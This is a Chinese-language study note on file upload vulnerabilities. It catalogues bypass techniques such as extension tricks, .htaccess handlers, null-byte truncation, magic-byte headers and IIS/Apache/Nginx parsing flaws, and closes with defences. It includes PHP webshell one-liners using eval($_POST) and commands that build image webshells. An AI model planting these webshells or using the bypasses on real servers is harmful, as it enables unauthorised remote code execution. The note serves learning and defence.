0%

文件上传漏洞学习笔记

对文件上传的一个笔记总结。

前言&&参考

参考链接:

漏洞上传

前端检测

前端限制是最不靠谱的限制办法。
解决办法:

  • html页面删除检测javascript检测函数
  • 禁用javascript脚本
  • 先将恶意脚本后缀改为前端脚本允许的后缀。然后抓包再修改为php/asp等

后端检测

后端限制方式较多,有检测后缀黑名单和白名单,检测内容等。

检查后缀黑名单

上传特殊可解析后缀

php5 phtml等,但前提是要目标服务器有相应的配置才行

上传.htaccess

适用于:Apache服务器

前提:

  1. 要求目标服务器,没有将.htaccess加入为黑名单。
  2. 要求服务器不将上传文件重命名。

限制较多,能用的场景较少。。

Nginx应该也可以使用,但前提是要求服务器有做相应的配置。例如:使Nginx服务器支持.htaccess的方法,不过服务器做什么配置,不是由我们说了算的啊,还是鸡肋。

.htaccess内容如下

1
SetHandler application/x-httpd-php

将所有类型的文件,都可以当成php文件解析。

后缀大小写、加空格、加点绕过

当服务器没有对后缀大小写、空格、.进行过滤时,可以使用。因为windows会忽略文件末尾的.和空格。

例如shell.php改名成

  • shell.pHp
  • shell.php <这里有个空格
  • shell.php. 加多一个点
  • shell.php. . 多加一个空格和点(如果服务器只校验一次。
  • shell.php. .点空格和上面一致

::$DATA绕过

::$DATA文件流绕过(仅限Windows)

NTFS文件系统包括对备用数据流的支持。这不是众所周知的功能,主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为:$ DATA。

所有当上传shell.php::$DATA,服务器实际上上传之后保存的文件名是shell.php而不是shell.php::$data

双写绕过

如果目标服务器会将上传文件的敏感后缀名去空,那就可以考虑双写绕过。

.pphphp

检测后缀白名单

MIME绕过

抓包修改MIME类型为允许的类型

1
2
jpg- image/jpeg
png- image/png

等等。。

%00截断

00截断是利用了php的一个漏洞。漏洞编号为CVE-2015-2348。使用前提要求较为严格。

  1. 服务器php版本小于5.3
  2. 魔术引号gpc处于关闭状态,没有使用转义函数
  3. 要求上传路径可控

%00

这个上传路径是通过GET型去传值的,直接在URL中显示。所以使用url编码的%00对其进行截断。

0x00截断

0x00截断和%00截断一样的,只不过区别在与0x00是用与上传路径为POST型的时候。

../upload/后面写shell2.php+文件名随意,+在16进制中代表0x2b方便我们在hex显示时,对其进行定位修改。

将在hex显示的值中2b修改为00,改好之后会发现其实没什么区别。只是将+号去掉了的样子。但是发送包后会发现是上传成功的。

上传后的文件名,会发现有一个特殊符号,这就是我们的0x00

对其进行蚁剑/菜刀等进行连接时文件名只取%00/0x00之前的字符。

检测文件内容

文件头检查(file magic number)

file magic number好像是国外的说法,国内大部分好像都是直接说改文件头?

如果只检查文件的前几个字节。那就直接添加图片的文件头信息就好了。

添加gif89a,改成其他的也行。不过gif89a好记。

常见文件头类型

二次渲染

二次渲染会将上传后的图片马重新压缩一次,会将原有的php代码消除。

绕过思路:需要用一张GIF图,生成一个图片马后,上传成功后下载下来,与原来的图片马进行HEX对比,找到相同的地方,在那里插入一句话。(用GIF是因为GIF比JPG和PNG容易。

中间件文件解析漏洞

可以通过观察IIS版本来猜测大概的系统版本

IIS版本

  • IIS6.0 2003
  • IIS7.0/7.5 2008
  • IIS8.0-8.5 2012
  • IIS10 2016

IIS 5.x/6.0解析漏洞

目录解析

目录解析,在网站下建立文件夹的名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。
例如创建了一个目录xx.asp那么可以上传一个图片马。

1
/xx.asp/shell.jpg

文件解析

在IIS6.0下,分号后面的不被解析。
上传一个文件shell.asp;.jpg。

1
shell.asp;.jpg

因为分号后面的IIS不会识别,所以就会被解析成shell.asp

IIS6.0中 asa,cer,cdx也能被当成asp解析

IIS 7.0/7.5/Nginx <8.03畸形解析漏洞

好像在apache中也会?

在默认Fast-CGI开启状况下,上传一个图片马shell.jpg,内容为

1
<?php fwrite(fopen('shell.php','w'),'<?php eval($_POST[a])?>');?>

然后访问shell.jpg/.php,在这个目录下就会生成一句话木马shell.php

Apache文件解析漏洞

Apache从右向左去读文件后缀,不认识的后缀会丢掉。
假设有一个文件名为shell.php.zxc.wwc后面两种不认识会被舍弃掉,所以就会被识别成shell.php

Apache多后缀解析后缀

Apache Httpd支持一个文件拥有多个后缀,不同的后缀执行不同的命令,也就是说当我们上传的文件中只要后缀名含有php,该文件就可以被解析成php文件,利用Apache httpd这个特性,就可以绕过上传文件的白名单。
属于管理员配置不当造成的漏洞。如果上传shell.php.jpg的话将会被apache识别成shell.php

修复

  1. apache配置文件,禁止.php.这样的文件执行 禁止.php文件执行
  2. 使用SetHandler,写好正则

FCK文件编辑器漏洞

FCK文件编辑器漏洞2.4.3/2.6.2这里都是用了IIS6.0的解析漏洞。而且FCK文件编辑器的上传路径是可控的。所以很简单的就可以利用成功了。

生成图片马

cmd 生成图片马

1
copy 1.jpg/b+1.php/a 2.jpg

linux

1
echo '<?php eval($_POST[a])?>' > 1.jpg

防御方式

文件上传漏洞防御方式:

  • 上传目录禁止执行,浏览权限
  • 判断文件类型(最好白名单
  • 使用随机数改写文件名和文件路径
  • 单独设置文件服务器
  • 二次渲染图片
  • 及时更新中间件
  • 关闭不必要的配置如nginx的畸形解析漏洞中的Fast-cgi
  • 只允许访问特定类型的文件
  • 指定特定扩展名的文件的处理方式,如.py,.php,.asp用纯文本明文显示。AddType text/plain .py .php